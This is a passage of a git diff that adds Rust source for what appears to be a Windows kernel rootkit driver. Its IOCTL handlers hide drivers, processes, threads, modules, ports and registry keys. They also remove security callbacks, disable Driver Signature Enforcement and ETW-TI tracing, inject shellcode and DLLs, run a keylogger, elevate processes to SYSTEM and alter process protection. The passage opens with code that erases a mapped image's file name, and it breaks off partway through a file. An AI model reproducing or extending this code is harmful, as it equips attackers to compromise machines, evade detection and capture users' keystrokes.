- continue; - } - - // Converts the current node to an MMVAD_SHORT - let vad_short = current_node as *mut MMVAD_SHORT; - - // Calculates start and end addresses - let mut start_address = (*vad_short).starting_vpn as u64; - let mut end_address = (*vad_short).ending_vpn as u64; - - // Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address - start_address |= ((*vad_short).starting_vpn_high as u64) << 32; - end_address |= ((*vad_short).ending_vpn_high as u64) << 32; - - // Multiply the addresses by 0x1000 (page size) to get the real addresses - let start_address = start_address * 0x1000; - let end_address = end_address * 0x1000; - - if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address { - let long_node = vad_short as *mut MMVAD; - - let subsection = (*long_node).subsection; - if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() { - return Err(STATUS_INVALID_ADDRESS); - } - - let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT; - core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize); - break; - } - - // Stack the right node (if there is one) - if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() { - stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right); - } - - // Stack the left node (if there is one) - if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() { - stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left); - } - } - - Ok(()) - } - - /// Removes a link from the list. - /// - /// # Arguments - /// - /// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink. - /// - unsafe fn remove_link(list: &mut LIST_ENTRY) { - let next = list.Flink; - let previous = list.Blink; - - (*next).Blink = previous; - (*previous).Flink = next; - - list.Flink = list; - list.Blink = list; - } - -} diff --git a/driver/src/modules/callback.rs b/driver/src/modules/callback.rs new file mode 100644 index 0000000..f9739f9 --- /dev/null +++ b/driver/src/modules/callback.rs @@ -0,0 +1,136 @@ +use { + alloc::boxed::Box, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, +}; + +use { + crate::utils::{ + ioctls::IoctlManager, + get_input_buffer, get_output_buffer, + }, + common::{ + enums::Callbacks, + structs::{CallbackInfoInput, CallbackInfoOutput}, + ioctls::{ + REMOVE_CALLBACK, RESTORE_CALLBACK, + ENUMERATE_CALLBACK, ENUMERATE_REMOVED_CALLBACK, + }, + }, +}; + +/// Registers the IOCTL handlers for callback-related operations. +/// +/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with +/// their respective IOCTL codes. The two operations supported are: +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to a `HashMap` where the callback-related +/// IOCTL handlers will be inserted. +pub fn register_callback_ioctls(ioctls: &mut IoctlManager) { + // Lists Callbacks. + ioctls.register_handler(ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_callback = get_input_buffer::(stack)?; + let callback_info = get_output_buffer::(irp)?; + let callbacks = match (*target_callback).callback { + Callbacks::PsSetCreateProcessNotifyRoutine + | Callbacks::PsSetCreateThreadNotifyRoutine + | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate((*target_callback).callback)?, + + Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate((*target_callback).callback)?, + + Callbacks::ObProcess + | Callbacks::ObThread => shadowx::CallbackOb::enumerate((*target_callback).callback)?, + }; + + for (index, callback) in callbacks.iter().enumerate() { + let info_ptr = callback_info.add(index); + + core::ptr::copy_nonoverlapping(callback.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), callback.name.len()); + (*info_ptr).address = callback.address; + (*info_ptr).index = index as u8; + (*info_ptr).pre_operation = callback.pre_operation; + (*info_ptr).post_operation = callback.post_operation; + } + + // Set the size of the returned information. + (*irp).IoStatus.Information = (callbacks.len() * size_of::()) as u64; + Ok(STATUS_SUCCESS) + } + })); + + // Remove Callback. + ioctls.register_handler(REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_callback = get_input_buffer::(stack)?; + let status = match (*target_callback).callback { + Callbacks::PsSetCreateProcessNotifyRoutine + | Callbacks::PsSetCreateThreadNotifyRoutine + | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::remove((*target_callback).callback, (*target_callback).index)?, + + Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::remove((*target_callback).callback, (*target_callback).index)?, + + Callbacks::ObProcess + | Callbacks::ObThread => shadowx::CallbackOb::remove((*target_callback).callback, (*target_callback).index)?, + }; + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Restore Callback. + ioctls.register_handler(RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_callback = get_input_buffer::(stack)?; + let status = match (*target_callback).callback { + Callbacks::PsSetCreateProcessNotifyRoutine + | Callbacks::PsSetCreateThreadNotifyRoutine + | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::restore((*target_callback).callback, (*target_callback).index)?, + + Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::restore((*target_callback).callback, (*target_callback).index)?, + + Callbacks::ObProcess + | Callbacks::ObThread => shadowx::CallbackOb::restore((*target_callback).callback, (*target_callback).index)?, + }; + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // List Callbacks Removed. + ioctls.register_handler(ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_callback = get_input_buffer::(stack)?; + let callback_info = get_output_buffer::(irp)?; + let callbacks = match (*target_callback).callback { + Callbacks::PsSetCreateProcessNotifyRoutine + | Callbacks::PsSetCreateThreadNotifyRoutine + | Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate_removed()?, + + Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate_removed()?, + + Callbacks::ObProcess + | Callbacks::ObThread => shadowx::CallbackOb::enumerate_removed()?, + }; + + for (index, callback) in callbacks.iter().enumerate() { + let info_ptr = callback_info.add(index); + + core::ptr::copy_nonoverlapping(callback.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), callback.name.len()); + (*info_ptr).address = callback.address; + (*info_ptr).index = callback.index as u8; + (*info_ptr).pre_operation = callback.pre_operation; + (*info_ptr).post_operation = callback.post_operation; + } + + // Set the size of the returned information. + (*irp).IoStatus.Information = (callbacks.len() * size_of::()) as u64; + Ok(STATUS_SUCCESS) + } + })); +} \ No newline at end of file diff --git a/driver/src/modules/driver.rs b/driver/src/modules/driver.rs new file mode 100644 index 0000000..c5dc3b6 --- /dev/null +++ b/driver/src/modules/driver.rs @@ -0,0 +1,114 @@ +use { + alloc::boxed::Box, + spin::{Lazy, Mutex}, + shadowx::error::ShadowError, + alloc::{string::ToString, vec::Vec}, + core::sync::atomic::{AtomicPtr, Ordering}, + wdk_sys::{ + IO_STACK_LOCATION, IRP, + STATUS_SUCCESS + }, +}; + +use { + crate::utils::{ + get_input_buffer, + get_output_buffer, + ioctls::IoctlManager + }, + common::{ + vars::MAX_DRIVER, + structs::{DriverInfo, TargetDriver}, + ioctls::{ + ENUMERATE_DRIVER, + HIDE_UNHIDE_DRIVER + }, + }, +}; + +/// Static structure to store hidden driver information. +/// +/// This structure keeps track of the drivers that have been hidden, including their +/// `LDR_DATA_TABLE_ENTRY` and the previous list entries in `PsLoadedModuleList`. +static DRIVER_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); + +/// Registers the IOCTL handlers for driver-related operations. +/// +/// This function registers two handlers: one for hiding/unhiding drivers and another for +/// enumerating the active drivers on the system. The handlers are mapped to their respective +/// IOCTL codes. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager` where the driver-related IOCTL handlers +/// will be registered. +pub fn register_driver_ioctls(ioctls: &mut IoctlManager) { + // Hiding / Unhiding a driver from the PsLoadedModuleList. + ioctls.register_handler(HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + let target_driver = get_input_buffer::(stack)?; + let driver_name = &(*target_driver).name; + + // Perform the operation based on whether we are hiding or unhiding the driver. + let status = if (*target_driver).enable { + // Hide the driver and store its previous entries. + let (previous_list, previos_ldr_data) = shadowx::Driver::hide_driver(&driver_name)?; + let mut driver_info = DRIVER_INFO_HIDE.lock(); + + // Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration. + let ldr_data_ptr = Box::into_raw(Box::new(previos_ldr_data)); + let list_ptr = Box::into_raw(Box::new(previous_list)); + + driver_info.push(TargetDriver { + name: driver_name.clone(), + driver_entry: AtomicPtr::new(ldr_data_ptr), + list_entry: AtomicPtr::new(list_ptr as *mut _), + ..Default::default() + }); + + STATUS_SUCCESS + } else { + // Unhide the driver by restoring its list entry and LDR_DATA_TABLE_ENTRY. + let (list_entry, ldr_data) = DRIVER_INFO_HIDE.lock() + .iter() + .find(|p| p.name == *driver_name) + .map(|process| + (process.list_entry.load(Ordering::SeqCst), + process.driver_entry.load(Ordering::SeqCst) + )) + .ok_or(ShadowError::DriverNotFound(driver_name.to_string()))?; + + shadowx::Driver::unhide_driver(&driver_name, list_entry as *mut _, ldr_data)? + }; + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Enumerating active drivers on the system. + ioctls.register_handler(ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION| { + unsafe { + // Get the output buffer for returning the driver information. + let driver_info = get_output_buffer::(irp)?; + + // Enumerate the drivers currently loaded in the system. + let drivers = shadowx::Driver::enumerate_driver()?; + + // Copy driver information into the output buffer. + for (index, module) in drivers.iter().enumerate() { + let info_ptr = driver_info.add(index); + + // Copy the driver name and other information. + core::ptr::copy_nonoverlapping(module.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), module.name.len()); + (*info_ptr).address = module.address; + (*info_ptr).index = index as u8; + } + + // Set the size of the returned information. + (*irp).IoStatus.Information = (drivers.len() * size_of::()) as u64; + Ok(STATUS_SUCCESS) + } + })); +} \ No newline at end of file diff --git a/driver/src/modules/injection.rs b/driver/src/modules/injection.rs new file mode 100644 index 0000000..abb3dbf --- /dev/null +++ b/driver/src/modules/injection.rs @@ -0,0 +1,85 @@ +use { + alloc::boxed::Box, + wdk_sys::{IO_STACK_LOCATION, IRP}, +}; + +use { + crate::utils::{ + get_input_buffer, + ioctls::IoctlManager + }, + common::{ + structs::TargetInjection, + ioctls::{ + INJECTION_DLL_THREAD, + INJECTION_SHELLCODE_APC, + INJECTION_SHELLCODE_THREAD, + }, + }, +}; + +/// Registers the IOCTL handlers for injection-related operations. +/// +/// This function registers IOCTL handlers for different types of code injection operations +/// (shellcode injection and DLL injection). Each type of injection is associated with its +/// respective IOCTL code. +/// +/// # Supported Injection Types: +/// +/// * **INJECTION_SHELLCODE_THREAD** - Shellcode injection using a new thread created via `ZwCreateThreadEx`. +/// * **INJECTION_SHELLCODE_APC** - Shellcode injection using APC (Asynchronous Procedure Call). +/// * **INJECTION_DLL_THREAD** - DLL injection using `ZwCreateThreadEx`. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager` where the injection-related +/// IOCTL handlers will be registered. +pub fn register_injection_ioctls(ioctls: &mut IoctlManager) { + // Shellcode injection using a new thread (ZwCreateThreadEx). + ioctls.register_handler(INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the input buffer with the injection data. + let input_buffer = get_input_buffer::(stack)?; + let pid = (*input_buffer).pid; + let path = (*input_buffer).path.as_str(); + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Perform shellcode injection using a new thread. + shadowx::Shellcode::injection_thread(pid, path) + } + })); + + // Shellcode injection via APC (Asynchronous Procedure Call). + ioctls.register_handler(INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the input buffer with the injection data. + let input_buffer = get_input_buffer::(stack)?; + let pid = (*input_buffer).pid; + let path = (*input_buffer).path.as_str(); + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Perform shellcode injection via APC. + shadowx::Shellcode::injection_apc(pid, path) + } + })); + + // DLL injection using a new thread (ZwCreateThreadEx). + ioctls.register_handler(INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the input buffer with the injection data. + let input_buffer = get_input_buffer::(stack)?; + let pid = (*input_buffer).pid; + let path = (*input_buffer).path.as_str(); + + // Set the size of the returned information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Perform DLL injection using a new thread. + shadowx::DLL::injection_dll_thread(pid, path) + } + })); +} diff --git a/driver/src/modules/misc.rs b/driver/src/modules/misc.rs new file mode 100644 index 0000000..cb5b475 --- /dev/null +++ b/driver/src/modules/misc.rs @@ -0,0 +1,98 @@ +use { + log::error, + alloc::boxed::Box, + wdk_sys::{ + IO_STACK_LOCATION, IRP, + STATUS_SUCCESS, STATUS_UNSUCCESSFUL + }, +}; + +use { + crate::utils::{ + ioctls::IoctlManager, + get_input_buffer + }, + common::{ + ioctls::{ENABLE_DSE, ETWTI, KEYLOGGER}, + structs::{DSE, ETWTI} + }, +}; + +/// Holds the user-mode address for keylogger functionality. +/// +/// This static variable stores the address returned by the keylogger to map +/// kernel memory to user space. +pub static mut USER_ADDRESS: usize = 0; + +/// Registers the IOCTL handlers for miscellaneous operations. +/// +/// This function registers handlers for several miscellaneous operations, such as enabling or disabling +/// Driver Signature Enforcement (DSE), enabling/disabling ETW tracing, and starting a keylogger. +/// +/// # Supported IOCTLs +/// +/// * **ENABLE_DSE** - Enables or disables Driver Signature Enforcement (DSE). +/// * **KEYLOGGER** - Retrieves the user-mode address for the keylogger functionality. +/// * **ETWTI** - Enables or disables ETW tracing. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager` where the IOCTL handlers will be registered. +pub fn register_misc_ioctls(ioctls: &mut IoctlManager) { + // Enable/Disable DSE (Driver Signature Enforcement). + ioctls.register_handler(ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the input buffer containing DSE information. + let target_dse = get_input_buffer::(stack)?; + + // Call to enable or disable DSE based on the input. + let status = shadowx::Dse::set_dse_state((*target_dse).enable)?; + + // Set the number of bytes returned to the size of the ETWTI structure. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Start Keylogger: Maps the address for keylogger functionality to user space. + ioctls.register_handler(KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // If the USER_ADDRESS has not been set, retrieve it using the keylogger function. + if USER_ADDRESS == 0 { + USER_ADDRESS = match shadowx::Keylogger::get_user_address_keylogger() { + Ok(addr) => addr as usize, + Err(err) => { + // Log the error and return a failure status if keylogger setup fails. + error!("Error get_user_address_keylogger: {err}"); + return Ok(STATUS_UNSUCCESSFUL); + }, + }; + } + + // Write the USER_ADDRESS to the output buffer provided by the IRP. + let output_buffer = (*irp).AssociatedIrp.SystemBuffer; + if !output_buffer.is_null() { + *(output_buffer as *mut usize) = USER_ADDRESS; + } + + // Set the number of bytes returned to the size of a `usize`. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(STATUS_SUCCESS) + } + })); + + // Enable/Disable ETWTI. + ioctls.register_handler(ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the input buffer containing ETW tracing information. + let target_etw = get_input_buffer::(stack)?; + + // Call to enable or disable ETW tracing based on the input. + let status = shadowx::Etw::etwti_enable_disable((*target_etw).enable)?; + + // Set the number of bytes returned to the size of the ETWTI structure. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); +} diff --git a/driver/src/modules/mod.rs b/driver/src/modules/mod.rs new file mode 100644 index 0000000..b4afc00 --- /dev/null +++ b/driver/src/modules/mod.rs @@ -0,0 +1,22 @@ +#[cfg(not(feature = "mapper"))] +pub mod registry; +#[cfg(not(feature = "mapper"))] +pub use registry::*; + +pub mod misc; +pub mod module; +pub mod port; +pub mod injection; +pub mod callback; +pub mod driver; +pub mod process; +pub mod thread; + +pub use misc::*; +pub use module::*; +pub use port::*; +pub use injection::*; +pub use callback::*; +pub use driver::*; +pub use process::*; +pub use thread::*; \ No newline at end of file diff --git a/driver/src/modules/module.rs b/driver/src/modules/module.rs new file mode 100644 index 0000000..7e4b269 --- /dev/null +++ b/driver/src/modules/module.rs @@ -0,0 +1,80 @@ +use { + alloc::boxed::Box, + wdk_sys::{ + IO_STACK_LOCATION, IRP, + STATUS_SUCCESS + }, +}; + +use { + crate::utils::{ + ioctls::IoctlManager, + get_input_buffer, get_output_buffer + }, + common::{ + ioctls::{ENUMERATE_MODULE, HIDE_MODULE}, + structs::{ + TargetModule, + ModuleInfo, TargetProcess, + } + }, +}; + +/// Registers the IOCTL handlers for module-related operations. +/// +/// This function registers handlers to manage module-related operations such as enumerating +/// loaded modules in a target process and hiding specific modules. These handlers are associated +/// with specific IOCTL codes and provide functionality based on the requested module operations. +/// +/// The following IOCTL operations are supported: +/// +/// * **ENUMERATE_MODULE** - Retrieves the list of loaded modules in the target process. +/// * **HIDE_MODULE** - Hides a specific module in the target process. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager` where the module-related IOCTL handlers will be registered. +pub fn register_module_ioctls(ioctls: &mut IoctlManager) { + // Enumerate loaded modules in the target process. + ioctls.register_handler(ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the target process from the input buffer. + let target_process = get_input_buffer::(stack)?; + let module_info = get_output_buffer::(irp)?; + let pid = (*target_process).pid; + + // Enumerate modules in the process. + let modules = shadowx::Module::enumerate_module(pid)?; + + // Populate the output buffer with module information. + for (index, module) in modules.iter().enumerate() { + let info_ptr = module_info.add(index); + + // Copy module name and populate module information. + core::ptr::copy_nonoverlapping(module.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), module.name.len()); + (*info_ptr).address = module.address; + (*info_ptr).index = index as u8; + } + + // Update IoStatus with the number of modules enumerated. + (*irp).IoStatus.Information = (modules.len() * size_of::()) as u64; + + Ok(STATUS_SUCCESS) + } + })); + + // Hide a specific module in the target process. + ioctls.register_handler(HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Get the target module information from the input buffer. + let target = get_input_buffer::(stack)?; + + // Hide the module based on the PID and module name. + let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name)?; + + // Update IoStatus to indicate success. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); +} diff --git a/driver/src/modules/port.rs b/driver/src/modules/port.rs new file mode 100644 index 0000000..fa186dc --- /dev/null +++ b/driver/src/modules/port.rs @@ -0,0 +1,66 @@ +use { + alloc::boxed::Box, + shadowx::{Port, port}, + core::sync::atomic::Ordering, + wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS}, +}; + +use { + crate::utils::{ + ioctls::IoctlManager, + get_input_buffer + }, + common::{ + ioctls::HIDE_PORT, + structs::TargetPort + }, +}; + +/// Registers the IOCTL handlers for port-related operations. +/// +/// This function registers a handler to manage port-related operations, such as adding or removing +/// ports from the protected ports list. Additionally, it manages the installation and uninstallation +/// of a hook into the `Nsiproxy` driver when necessary. +/// +/// # Supported IOCTL Operation: +/// +/// * **HIDE_PORT** - Handles the hide/unhide of ports by toggling their presence in the protected list. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager`, where the port-related IOCTL handler will be registered. +pub fn register_port_ioctls(ioctls: &mut IoctlManager) { + // Handle port protection: hide port by toggling its status in the protected ports list. + ioctls.register_handler(HIDE_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| { + unsafe { + // Lock the list of protected ports to check if it's empty. + let protected_ports = port::PROTECTED_PORTS.lock(); + + // If the list is empty and the hook is not installed, install the hook. + if protected_ports.is_empty() && !port::HOOK_INSTALLED.load(Ordering::Relaxed) { + Port::install_hook(); + } + + // Unlock the ports list. + drop(protected_ports); + + // Get the target port from the input buffer. + let target_port = get_input_buffer::(stack)?; + + // Add or remove the target port from the protected list. + let status = port::add_remove_port_toggle(target_port); + + // If the operation was successful and the list is now empty, uninstall the hook. + if NT_SUCCESS(status) { + let protected_ports = port::PROTECTED_PORTS.lock(); + if protected_ports.is_empty() && port::HOOK_INSTALLED.load(Ordering::Relaxed) { + Port::uninstall_hook(); + } + } + + // Set the number of bytes returned to the size of `TargetPort`. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); +} diff --git a/driver/src/modules/process.rs b/driver/src/modules/process.rs new file mode 100644 index 0000000..5f3aed1 --- /dev/null +++ b/driver/src/modules/process.rs @@ -0,0 +1,180 @@ +use { + wdk_sys::*, + core::sync::atomic::{AtomicPtr, Ordering}, + alloc::{ + boxed::Box, + string::ToString + }, + shadowx::{ + Process, error::ShadowError, + PROCESS_INFO_HIDE, + }, +}; + +use { + crate::utils::{ + ioctls::IoctlManager, + get_input_buffer, + get_output_buffer + }, + common::{ + ioctls::*, + enums::Options, + structs::TargetProcess + }, +}; + +/// Registers the IOCTL handlers for process-related operations. +/// +/// This function registers various IOCTL handlers for managing process-related operations, +/// such as elevating privileges, hiding/unhiding processes, terminating processes, modifying +/// process protection, and enumerating hidden processes. These handlers are mapped to specific +/// IOCTL codes and provide functionality based on the type of operation requested by the user. +/// +/// The following IOCTL operations are supported: +/// +/// * **ELEVATE_PROCESS** - Elevates the privileges of the specified process to system privileges. +/// * **HIDE_UNHIDE_PROCESS** - Hides or unhides a specified process, depending on the input. +/// * **TERMINATE_PROCESS** - Terminates the specified process. +/// * **SIGNATURE_PROCESS** - Modifies the protection signature (PP/PPL) of a process. +/// * **ENUMERATION_PROCESS** - Lists processes that are currently hidden or protected. +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to an `IoctlManager` where the process-related IOCTL handlers will be registered. +pub fn register_process_ioctls(ioctls: &mut IoctlManager) { + // Elevates the privileges of a specific process. + ioctls.register_handler(ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the process information from the input buffer. + let target_process = get_input_buffer::(stack)?; + let pid = (*target_process).pid; + + // Update the IoStatus with the size of the process information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Elevates the process privileges. + Process::elevate_process(pid) + } + })); + + // Hide or Unhide the specified process. + ioctls.register_handler(HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the process information from the input buffer. + let target_process = get_input_buffer::(stack)?; + let pid = (*target_process).pid; + + // Hide or unhide the process based on the 'enable' flag. + let status = if (*target_process).enable { + // Hides the process and stores its previous state. + let previous_list = Process::hide_process(pid)?; + let mut process_info = PROCESS_INFO_HIDE.lock(); + let list_ptr = Box::into_raw(Box::new(previous_list)); + + process_info.push(TargetProcess { + pid, + list_entry: AtomicPtr::new(list_ptr as *mut _), + ..Default::default() + }); + + STATUS_SUCCESS + } else { + // Unhides the process. + let list_entry = PROCESS_INFO_HIDE.lock() + .iter() + .find(|p| p.pid == pid) + .map(|process| process.list_entry.load(Ordering::SeqCst)) + .ok_or(ShadowError::ProcessNotFound(pid.to_string()))?; + + Process::unhide_process(pid, list_entry as *mut _)? + }; + + // Updates the IoStatus and returns the result of the operation. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Terminates the specified process. + ioctls.register_handler(TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the process information from the input buffer. + let target_process = get_input_buffer::(stack)?; + let pid = (*target_process).pid; + + // Update the IoStatus with the size of the process information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Terminates the process. + Process::terminate_process(pid) + } + })); + + // Modifies the PP/PPL (Protection Signature) of a process. + ioctls.register_handler(SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the process information from the input buffer. + let target_process = get_input_buffer::(stack)?; + let pid = (*target_process).pid; + let sg = (*target_process).sg; + let tp = (*target_process).tp; + + // Updates the IoStatus with the size of the process information. + (*irp).IoStatus.Information = size_of::() as u64; + + // Modify the process's protection signature. + Process::protection_signature(pid, sg, tp) + } + })); + + // Lists hidden and protected processes. + ioctls.register_handler(ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the output buffer to store process information. + let output_buffer = get_output_buffer::(irp)?; + let input_target = get_input_buffer::(stack)?; + + // Based on the options, either enumerate hidden or protected processes. + let processes = match (*input_target).options { + Options::Hide => Process::enumerate_hide_processes(), + #[cfg(not(feature = "mapper"))] + Options::Protection => shadowx::ProcessCallback::enumerate_protection_processes(), + }; + + // Fill the output buffer with the enumerated processes' information. + for (index, process) in processes.iter().enumerate() { + let info_ptr = output_buffer.add(index); + (*info_ptr).pid = process.pid; + } + + // Updates the IoStatus with the size of the enumerated processes. + (*irp).IoStatus.Information = (processes.len() * size_of::()) as u64; + Ok(STATUS_SUCCESS) + } + })); + + // If the `mapper` feature is not enabled, register protection handlers. + #[cfg(not(feature = "mapper"))] { + // Add or remove shutdown/memory dump protection for a process. + ioctls.register_handler(PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the process information from the input buffer. + let process_protection = get_input_buffer::(stack)?; + let pid = (*process_protection).pid; + let enable = (*process_protection).enable; + + // Adds or removes protection for the process based on the 'enable' flag. + let status = if enable { + shadowx::ProcessCallback::add_target_pid(pid) + } else { + shadowx::ProcessCallback::remove_target_pid(pid) + }; + + // Updates the IoStatus with the size of the process information. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + } +} diff --git a/driver/src/modules/registry.rs b/driver/src/modules/registry.rs new file mode 100644 index 0000000..ea2412b --- /dev/null +++ b/driver/src/modules/registry.rs @@ -0,0 +1,78 @@ +#![cfg(not(feature = "mapper"))] + +use { + wdk_sys::*, + shadowx::registry::utils::Type, + alloc::boxed::Box, +}; + +use { + crate::utils::{ + get_input_buffer, + ioctls::IoctlManager + }, + common::{ + structs::TargetRegistry, + ioctls::{ + HIDE_UNHIDE_KEY, + HIDE_UNHIDE_VALUE, + REGISTRY_PROTECTION_KEY, + REGISTRY_PROTECTION_VALUE + }, + }, +}; + +/// Registers the IOCTL handlers for registry-related operations. +/// +/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with +/// their respective IOCTL codes. The two operations supported are: +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to a `HashMap` where the registry-related +/// IOCTL handlers will be inserted. +pub fn register_registry_ioctls(ioctls: &mut IoctlManager) { + // Adding protection for registry key values. + ioctls.register_handler(REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_registry = get_input_buffer::(stack)?; + let status = shadowx::Registry::modify_key_value(target_registry, Type::Protect); + + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Added protection for registry keys. + ioctls.register_handler(REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_registry = get_input_buffer::(stack)?; + let status = shadowx::Registry::modify_key(target_registry, Type::Protect); + + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Handles IOCTL to hide or unhide a registry key. + ioctls.register_handler(HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_registry = get_input_buffer::(stack)?; + let status = shadowx::Registry::modify_key(target_registry, Type::Hide); + + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // Handles IOCTL to hide or unhide a registry value. + ioctls.register_handler(HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + let target_registry = get_input_buffer::(stack)?; + let status = shadowx::Registry::modify_key_value(target_registry, Type::Hide); + + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); +} \ No newline at end of file diff --git a/driver/src/modules/thread.rs b/driver/src/modules/thread.rs new file mode 100644 index 0000000..b2e2b51 --- /dev/null +++ b/driver/src/modules/thread.rs @@ -0,0 +1,125 @@ +use { + alloc::boxed::Box, + core::sync::atomic::{AtomicPtr, Ordering}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, + shadowx::{ + Thread, + THREAD_INFO_HIDE, + error::ShadowError, + }, +}; + +use { + crate::utils::{ + get_input_buffer, + get_output_buffer, + ioctls::IoctlManager + }, + common::{ + enums::Options, + structs::TargetThread, + ioctls::{ + ENUMERATION_THREAD, + HIDE_UNHIDE_THREAD, + }, + }, +}; + +/// Registers the IOCTL handlers for thread-related operations. +/// +/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with +/// their respective IOCTL codes. The two operations supported are: +/// +/// # Arguments +/// +/// * `ioctls` - A mutable reference to a 